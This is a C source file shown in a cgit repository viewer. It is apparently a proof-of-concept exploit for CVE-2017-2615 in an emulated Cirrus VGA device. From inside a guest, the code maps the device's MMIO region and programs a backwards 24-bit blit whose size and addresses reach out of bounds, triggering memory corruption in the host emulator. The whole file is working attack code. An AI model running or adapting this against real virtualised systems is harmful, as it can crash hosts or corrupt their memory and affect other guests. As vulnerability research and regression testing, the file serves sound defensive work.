summaryrefslogtreecommitdiffstats
path: root/cve-2017-2615.c
blob: 2b66f6b837b74e471f24df1582360db3118978ce (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/io.h>
#include <sys/mman.h>

#include "pci.h"
#include "cirrus.h"

int main(int argc, char *argv[])
{
    volatile uint8_t *mmio;

    find_device("cirrus", 0x1013, 0x00b8);
    mmio = mmap_bar(1);
    fprintf(stderr, "init ok\n");
    sleep(1);

    cirrus_setmode(mmio);

    fprintf(stderr, "trying invalid backwards blit\n");
    mmio[BLT_OFFSET + CIRRUS_MMIO_BLTSTATUS] = CIRRUS_BLT_RESET;
    mmio[BLT_OFFSET + CIRRUS_MMIO_BLTSTATUS] = 0x00;

    *(uint16_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTWIDTH)     = 1024 * 3  - 1;
    *(uint16_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTHEIGHT)    = 1         - 1;
    *(uint16_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTDESTPITCH) = 1024 * 3;
    *(uint16_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTSRCPITCH)  = 1024 * 3;
    *(uint32_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTDESTADDR)  = 0;
    *(uint32_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTSRCADDR)   = 1024 * 3;

    mmio[BLT_OFFSET + CIRRUS_MMIO_BLTMODE] =
        CIRRUS_BLTMODE_PIXELWIDTH24 | CIRRUS_BLTMODE_BACKWARDS;
    mmio[BLT_OFFSET + CIRRUS_MMIO_BLTROP]     = CIRRUS_ROP_SRC;
    mmio[BLT_OFFSET + CIRRUS_MMIO_BLTMODEEXT] = 0;
    mmio[BLT_OFFSET + CIRRUS_MMIO_BLTSTATUS]  = CIRRUS_BLT_START;

    fprintf(stderr, "blit done\n");
    sleep(1);

    exit(0);
}